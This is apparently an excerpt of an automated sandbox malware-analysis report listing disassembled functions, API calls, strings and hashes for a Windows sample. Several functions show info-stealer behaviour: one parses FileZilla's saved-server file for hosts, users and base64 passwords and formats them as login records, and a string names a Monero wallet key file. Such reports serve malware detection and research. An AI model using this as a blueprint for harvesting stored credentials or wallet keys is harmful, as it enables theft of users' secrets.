Instruction Fuzzy Hash: 69F031F1944208AFC700DF99DD45FAABBB8F704751F104559E605A2680C7B81504CBA1

Function 005B1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 005B116A
ExitProcess.KERNEL32 ref: 005B117E

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 9b0c9141c0f44133cae85d0977e5716315694edc5994037adf59e4ed0b86adf6
Instruction ID: b255f7ec27db03c371f2b51bd39bf6c3ae04389070c5fafad8fd8b2f745f9856
Opcode Fuzzy Hash: 9b0c9141c0f44133cae85d0977e5716315694edc5994037adf59e4ed0b86adf6
Instruction Fuzzy Hash: 87D05EB490030CEBCB00EFE0D849AEDBB78FB08311F000554D90972340EA306481CABA

Function 005C9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00C656F0), ref: 005C9C2D
GetProcAddress.KERNEL32(74DD0000,00C65690), ref: 005C9C45
GetProcAddress.KERNEL32(74DD0000,00C7A7E0), ref: 005C9C5E
GetProcAddress.KERNEL32(74DD0000,00C7A7F8), ref: 005C9C76
GetProcAddress.KERNEL32(74DD0000,00C7A828), ref: 005C9C8E
GetProcAddress.KERNEL32(74DD0000,00C7A840), ref: 005C9CA7
GetProcAddress.KERNEL32(74DD0000,00C6C8B0), ref: 005C9CBF
GetProcAddress.KERNEL32(74DD0000,00C7DF70), ref: 005C9CD7
GetProcAddress.KERNEL32(74DD0000,00C7DE68), ref: 005C9CF0
GetProcAddress.KERNEL32(74DD0000,00C7DE80), ref: 005C9D08
GetProcAddress.KERNEL32(74DD0000,00C7E000), ref: 005C9D20
GetProcAddress.KERNEL32(74DD0000,00C65770), ref: 005C9D39
GetProcAddress.KERNEL32(74DD0000,00C65870), ref: 005C9D51
GetProcAddress.KERNEL32(74DD0000,00C657D0), ref: 005C9D69
GetProcAddress.KERNEL32(74DD0000,00C65790), ref: 005C9D82
GetProcAddress.KERNEL32(74DD0000,00C7DE98), ref: 005C9D9A
GetProcAddress.KERNEL32(74DD0000,00C7DEF8), ref: 005C9DB2
GetProcAddress.KERNEL32(74DD0000,00C6CA90), ref: 005C9DCB
GetProcAddress.KERNEL32(74DD0000,00C65A30), ref: 005C9DE3
GetProcAddress.KERNEL32(74DD0000,00C7DEB0), ref: 005C9DFB
GetProcAddress.KERNEL32(74DD0000,00C7DD90), ref: 005C9E14
GetProcAddress.KERNEL32(74DD0000,00C7DE20), ref: 005C9E2C
GetProcAddress.KERNEL32(74DD0000,00C7DF88), ref: 005C9E44
GetProcAddress.KERNEL32(74DD0000,00C658B0), ref: 005C9E5D
GetProcAddress.KERNEL32(74DD0000,00C7DF58), ref: 005C9E75
GetProcAddress.KERNEL32(74DD0000,00C7DD78), ref: 005C9E8D
GetProcAddress.KERNEL32(74DD0000,00C7DE08), ref: 005C9EA6
GetProcAddress.KERNEL32(74DD0000,00C7DF40), ref: 005C9EBE
GetProcAddress.KERNEL32(74DD0000,00C7DEE0), ref: 005C9ED6
GetProcAddress.KERNEL32(74DD0000,00C7DFA0), ref: 005C9EEF
GetProcAddress.KERNEL32(74DD0000,00C7E060), ref: 005C9F07
GetProcAddress.KERNEL32(74DD0000,00C7DE38), ref: 005C9F1F
GetProcAddress.KERNEL32(74DD0000,00C7DDC0), ref: 005C9F38
GetProcAddress.KERNEL32(74DD0000,00C7B6A0), ref: 005C9F50
GetProcAddress.KERNEL32(74DD0000,00C7DDA8), ref: 005C9F68
GetProcAddress.KERNEL32(74DD0000,00C7DF28), ref: 005C9F81
GetProcAddress.KERNEL32(74DD0000,00C65930), ref: 005C9F99
GetProcAddress.KERNEL32(74DD0000,00C7E018), ref: 005C9FB1
GetProcAddress.KERNEL32(74DD0000,00C65950), ref: 005C9FCA
GetProcAddress.KERNEL32(74DD0000,00C7DDD8), ref: 005C9FE2
GetProcAddress.KERNEL32(74DD0000,00C7DE50), ref: 005C9FFA
GetProcAddress.KERNEL32(74DD0000,00C65970), ref: 005CA013
GetProcAddress.KERNEL32(74DD0000,00C65CF0), ref: 005CA02B
LoadLibraryA.KERNEL32(00C7DEC8,?,005C5CA3,005D0AEB,?,?,?,?,?,?,?,?,?,?,005D0AEA,005D0AE3), ref: 005CA03D
LoadLibraryA.KERNEL32(00C7DF10,?,005C5CA3,005D0AEB,?,?,?,?,?,?,?,?,?,?,005D0AEA,005D0AE3), ref: 005CA04E
LoadLibraryA.KERNEL32(00C7DFB8,?,005C5CA3,005D0AEB,?,?,?,?,?,?,?,?,?,?,005D0AEA,005D0AE3), ref: 005CA060
LoadLibraryA.KERNEL32(00C7DFD0,?,005C5CA3,005D0AEB,?,?,?,?,?,?,?,?,?,?,005D0AEA,005D0AE3), ref: 005CA072
LoadLibraryA.KERNEL32(00C7E048,?,005C5CA3,005D0AEB,?,?,?,?,?,?,?,?,?,?,005D0AEA,005D0AE3), ref: 005CA083
LoadLibraryA.KERNEL32(00C7DFE8,?,005C5CA3,005D0AEB,?,?,?,?,?,?,?,?,?,?,005D0AEA,005D0AE3), ref: 005CA095
LoadLibraryA.KERNEL32(00C7E030,?,005C5CA3,005D0AEB,?,?,?,?,?,?,?,?,?,?,005D0AEA,005D0AE3), ref: 005CA0A7
LoadLibraryA.KERNEL32(00C7DDF0,?,005C5CA3,005D0AEB,?,?,?,?,?,?,?,?,?,?,005D0AEA,005D0AE3), ref: 005CA0B8
GetProcAddress.KERNEL32(75290000,00C65C10), ref: 005CA0DA
GetProcAddress.KERNEL32(75290000,00C7E0F0), ref: 005CA0F2
GetProcAddress.KERNEL32(75290000,00C79EF8), ref: 005CA10A
GetProcAddress.KERNEL32(75290000,00C7E090), ref: 005CA123
GetProcAddress.KERNEL32(75290000,00C65B50), ref: 005CA13B
GetProcAddress.KERNEL32(73B50000,00C6C770), ref: 005CA160
GetProcAddress.KERNEL32(73B50000,00C65DB0), ref: 005CA179
GetProcAddress.KERNEL32(73B50000,00C6C860), ref: 005CA191
GetProcAddress.KERNEL32(73B50000,00C7E108), ref: 005CA1A9
GetProcAddress.KERNEL32(73B50000,00C7E1C8), ref: 005CA1C2
GetProcAddress.KERNEL32(73B50000,00C65C30), ref: 005CA1DA
GetProcAddress.KERNEL32(73B50000,00C65A90), ref: 005CA1F2
GetProcAddress.KERNEL32(73B50000,00C7E1E0), ref: 005CA20B
GetProcAddress.KERNEL32(752C0000,00C65AB0), ref: 005CA22C
GetProcAddress.KERNEL32(752C0000,00C65B90), ref: 005CA244
GetProcAddress.KERNEL32(752C0000,00C7E120), ref: 005CA25D
GetProcAddress.KERNEL32(752C0000,00C7E2B8), ref: 005CA275
GetProcAddress.KERNEL32(752C0000,00C65B30), ref: 005CA28D
GetProcAddress.KERNEL32(74EC0000,00C6CA18), ref: 005CA2B3
GetProcAddress.KERNEL32(74EC0000,00C6C748), ref: 005CA2CB
GetProcAddress.KERNEL32(74EC0000,00C7E1F8), ref: 005CA2E3
GetProcAddress.KERNEL32(74EC0000,00C65C50), ref: 005CA2FC
GetProcAddress.KERNEL32(74EC0000,00C65B70), ref: 005CA314
GetProcAddress.KERNEL32(74EC0000,00C6C7E8), ref: 005CA32C
GetProcAddress.KERNEL32(75BD0000,00C7E240), ref: 005CA352
GetProcAddress.KERNEL32(75BD0000,00C65CB0), ref: 005CA36A
GetProcAddress.KERNEL32(75BD0000,00C79F08), ref: 005CA382
GetProcAddress.KERNEL32(75BD0000,00C7E138), ref: 005CA39B
GetProcAddress.KERNEL32(75BD0000,00C7E258), ref: 005CA3B3
GetProcAddress.KERNEL32(75BD0000,00C65C70), ref: 005CA3CB
GetProcAddress.KERNEL32(75BD0000,00C65BB0), ref: 005CA3E4
GetProcAddress.KERNEL32(75BD0000,00C7E0A8), ref: 005CA3FC
GetProcAddress.KERNEL32(75BD0000,00C7E210), ref: 005CA414
GetProcAddress.KERNEL32(75A70000,00C65AD0), ref: 005CA436
GetProcAddress.KERNEL32(75A70000,00C7E150), ref: 005CA44E
GetProcAddress.KERNEL32(75A70000,00C7E0C0), ref: 005CA466
GetProcAddress.KERNEL32(75A70000,00C7E300), ref: 005CA47F
GetProcAddress.KERNEL32(75A70000,00C7E270), ref: 005CA497
GetProcAddress.KERNEL32(75450000,00C65B10), ref: 005CA4B8
GetProcAddress.KERNEL32(75450000,00C65BD0), ref: 005CA4D1
GetProcAddress.KERNEL32(75DA0000,00C65D10), ref: 005CA4F2
GetProcAddress.KERNEL32(75DA0000,00C7E330), ref: 005CA50A
GetProcAddress.KERNEL32(6F070000,00C65AF0), ref: 005CA530
GetProcAddress.KERNEL32(6F070000,00C65BF0), ref: 005CA548
GetProcAddress.KERNEL32(6F070000,00C65C90), ref: 005CA560
GetProcAddress.KERNEL32(6F070000,00C7E2D0), ref: 005CA579
GetProcAddress.KERNEL32(6F070000,00C65CD0), ref: 005CA591
GetProcAddress.KERNEL32(6F070000,00C65D30), ref: 005CA5A9
GetProcAddress.KERNEL32(6F070000,00C65D50), ref: 005CA5C2
GetProcAddress.KERNEL32(6F070000,00C65D70), ref: 005CA5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 005CA5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 005CA607
GetProcAddress.KERNEL32(75AF0000,00C7E360), ref: 005CA629
GetProcAddress.KERNEL32(75AF0000,00C79F98), ref: 005CA641
GetProcAddress.KERNEL32(75AF0000,00C7E2E8), ref: 005CA659
GetProcAddress.KERNEL32(75AF0000,00C7E0D8), ref: 005CA672
GetProcAddress.KERNEL32(75D90000,00C65D90), ref: 005CA693
GetProcAddress.KERNEL32(6CFC0000,00C7E078), ref: 005CA6B4
GetProcAddress.KERNEL32(6CFC0000,00C65DD0), ref: 005CA6CD
GetProcAddress.KERNEL32(6CFC0000,00C7E318), ref: 005CA6E5
GetProcAddress.KERNEL32(6CFC0000,00C7E168), ref: 005CA6FD

Strings

HttpQueryInfoA, xrefs: 005CA5FC
InternetSetOptionA, xrefs: 005CA5E5

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 7911d8d934342fa2e50f19eed0662f3d3b0845d6d8b2286b1df782c122f1daa4
Instruction ID: 781c47af9b8c7f3a85a2be91b8e026952e22c714468c0efe1cebd41170e16777
Opcode Fuzzy Hash: 7911d8d934342fa2e50f19eed0662f3d3b0845d6d8b2286b1df782c122f1daa4
Instruction Fuzzy Hash: 2A6236F6600201BFC345EBA9ED88D763BF9F79C241714C51AA60DC3264D67DA842DB2B

Function 005B7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 005B7724
RtlAllocateHeap.NTDLL(00000000), ref: 005B772B
lstrcat.KERNEL32(?,00C7AC20), ref: 005B78DB
lstrcat.KERNEL32(?,?), ref: 005B78EF
lstrcat.KERNEL32(?,?), ref: 005B7903
lstrcat.KERNEL32(?,?), ref: 005B7917
lstrcat.KERNEL32(?,00C7F520), ref: 005B792B
lstrcat.KERNEL32(?,00C7F3D0), ref: 005B793F
lstrcat.KERNEL32(?,00C7F3B8), ref: 005B7952
lstrcat.KERNEL32(?,00C7F4D8), ref: 005B7966
lstrcat.KERNEL32(?,00C7BEB8), ref: 005B797A
lstrcat.KERNEL32(?,?), ref: 005B798E
lstrcat.KERNEL32(?,?), ref: 005B79A2
lstrcat.KERNEL32(?,?), ref: 005B79B6
lstrcat.KERNEL32(?,00C7F520), ref: 005B79C9
lstrcat.KERNEL32(?,00C7F3D0), ref: 005B79DD
lstrcat.KERNEL32(?,00C7F3B8), ref: 005B79F1
lstrcat.KERNEL32(?,00C7F4D8), ref: 005B7A04
lstrcat.KERNEL32(?,00C7ACA8), ref: 005B7A18
lstrcat.KERNEL32(?,?), ref: 005B7A2C
lstrcat.KERNEL32(?,?), ref: 005B7A40
lstrcat.KERNEL32(?,?), ref: 005B7A54
lstrcat.KERNEL32(?,00C7F520), ref: 005B7A68
lstrcat.KERNEL32(?,00C7F3D0), ref: 005B7A7B
lstrcat.KERNEL32(?,00C7F3B8), ref: 005B7A8F
lstrcat.KERNEL32(?,00C7F4D8), ref: 005B7AA3
lstrcat.KERNEL32(?,00C7AD10), ref: 005B7AB6
lstrcat.KERNEL32(?,?), ref: 005B7ACA
lstrcat.KERNEL32(?,?), ref: 005B7ADE
lstrcat.KERNEL32(?,?), ref: 005B7AF2
lstrcat.KERNEL32(?,00C7F520), ref: 005B7B06
lstrcat.KERNEL32(?,00C7F3D0), ref: 005B7B1A
lstrcat.KERNEL32(?,00C7F3B8), ref: 005B7B2D
lstrcat.KERNEL32(?,00C7F4D8), ref: 005B7B41
lstrcat.KERNEL32(?,00C7F560), ref: 005B7B55
lstrcat.KERNEL32(?,?), ref: 005B7B69
lstrcat.KERNEL32(?,?), ref: 005B7B7D
lstrcat.KERNEL32(?,?), ref: 005B7B91
lstrcat.KERNEL32(?,00C7F520), ref: 005B7BA4
lstrcat.KERNEL32(?,00C7F3D0), ref: 005B7BB8
lstrcat.KERNEL32(?,00C7F3B8), ref: 005B7BCC
lstrcat.KERNEL32(?,00C7F4D8), ref: 005B7BDF
lstrcat.KERNEL32(?,00C7F5C8), ref: 005B7BF3
lstrcat.KERNEL32(?,?), ref: 005B7C07
lstrcat.KERNEL32(?,?), ref: 005B7C1B
lstrcat.KERNEL32(?,?), ref: 005B7C2F
lstrcat.KERNEL32(?,00C7F520), ref: 005B7C43
lstrcat.KERNEL32(?,00C7F3D0), ref: 005B7C56
lstrcat.KERNEL32(?,00C7F3B8), ref: 005B7C6A
lstrcat.KERNEL32(?,00C7F4D8), ref: 005B7C7E

Part of subcall function 005B75D0: lstrcat.KERNEL32(2F38D020,005D17FC), ref: 005B7606
Part of subcall function 005B75D0: lstrcat.KERNEL32(2F38D020,00000000), ref: 005B7648
Part of subcall function 005B75D0: lstrcat.KERNEL32(2F38D020, : ), ref: 005B765A
Part of subcall function 005B75D0: lstrcat.KERNEL32(2F38D020,00000000), ref: 005B768F
Part of subcall function 005B75D0: lstrcat.KERNEL32(2F38D020,005D1804), ref: 005B76A0
Part of subcall function 005B75D0: lstrcat.KERNEL32(2F38D020,00000000), ref: 005B76D3
Part of subcall function 005B75D0: lstrcat.KERNEL32(2F38D020,005D1808), ref: 005B76ED
Part of subcall function 005B75D0: task.LIBCPMTD ref: 005B76FB

lstrcat.KERNEL32(?,00C7F8D0), ref: 005B7E0B
lstrcat.KERNEL32(?,00C7EC00), ref: 005B7E1E
lstrlen.KERNEL32(2F38D020), ref: 005B7E2B
lstrlen.KERNEL32(2F38D020), ref: 005B7E3B

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 60922daa94ad48b8b6992e52f1ec45cfe532bff897d5d4b459c3bb8f30f91872
Instruction ID: 639b11d5849523b78ee872a803accf1bd43c753c5e8c3e8b4e627730a36dc4a6
Opcode Fuzzy Hash: 60922daa94ad48b8b6992e52f1ec45cfe532bff897d5d4b459c3bb8f30f91872
Instruction Fuzzy Hash: 5F320FB2910319ABC715EBA0DC89DFA777CBB88700F444698F21DA2090EE79E785CF55

Function 005C0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Part of subcall function 005C8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 005C8E0B

Part of subcall function 005CA920: lstrcpy.KERNEL32(00000000,?), ref: 005CA972
Part of subcall function 005CA920: lstrcat.KERNEL32(00000000), ref: 005CA982

Part of subcall function 005CA8A0: lstrcpy.KERNEL32(?,005D0E17), ref: 005CA905

Part of subcall function 005CA9B0: lstrlen.KERNEL32(?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005CA9C5
Part of subcall function 005CA9B0: lstrcpy.KERNEL32(00000000), ref: 005CAA04
Part of subcall function 005CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005CAA12

Part of subcall function 005CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005CA7E6

Part of subcall function 005B99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005B99EC
Part of subcall function 005B99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 005B9A11
Part of subcall function 005B99C0: LocalAlloc.KERNEL32(00000040,?), ref: 005B9A31
Part of subcall function 005B99C0: ReadFile.KERNEL32(000000FF,?,00000000,005B148F,00000000), ref: 005B9A5A
Part of subcall function 005B99C0: LocalFree.KERNEL32(005B148F), ref: 005B9A90
Part of subcall function 005B99C0: CloseHandle.KERNEL32(000000FF), ref: 005B9A9A

Part of subcall function 005C8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 005C8E52

GetProcessHeap.KERNEL32(00000000,000F423F,005D0DBA,005D0DB7,005D0DB6,005D0DB3), ref: 005C0362
RtlAllocateHeap.NTDLL(00000000), ref: 005C0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 005C0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,005D0DB2), ref: 005C0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 005C03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,005D0DB2), ref: 005C03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 005C0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,005D0DB2), ref: 005C0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 005C0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,005D0DB2), ref: 005C0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,005D0DB2), ref: 005C0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,005D0DB2), ref: 005C051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,005D0DB2), ref: 005C0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,005D0DB2), ref: 005C054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 005C0562
lstrcat.KERNEL32(?,profile: null), ref: 005C0571
lstrcat.KERNEL32(?,url: ), ref: 005C0580
lstrcat.KERNEL32(?,00000000), ref: 005C0593
lstrcat.KERNEL32(?,005D1678), ref: 005C05A2
lstrcat.KERNEL32(?,00000000), ref: 005C05B5
lstrcat.KERNEL32(?,005D167C), ref: 005C05C4
lstrcat.KERNEL32(?,login: ), ref: 005C05D3
lstrcat.KERNEL32(?,00000000), ref: 005C05E6
lstrcat.KERNEL32(?,005D1688), ref: 005C05F5
lstrcat.KERNEL32(?,password: ), ref: 005C0604
lstrcat.KERNEL32(?,00000000), ref: 005C0617
lstrcat.KERNEL32(?,005D1698), ref: 005C0626
lstrcat.KERNEL32(?,005D169C), ref: 005C0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,005D0DB2), ref: 005C068E

Strings

<Port>, xrefs: 005C03C6
<Pass encoding="base64">, xrefs: 005C045A
password: , xrefs: 005C05FB
browser: FileZilla, xrefs: 005C0559
login: , xrefs: 005C05CA
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 005C02A4
<Host>, xrefs: 005C037C
<User>, xrefs: 005C0410
profile: null, xrefs: 005C0568
url: , xrefs: 005C0577

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
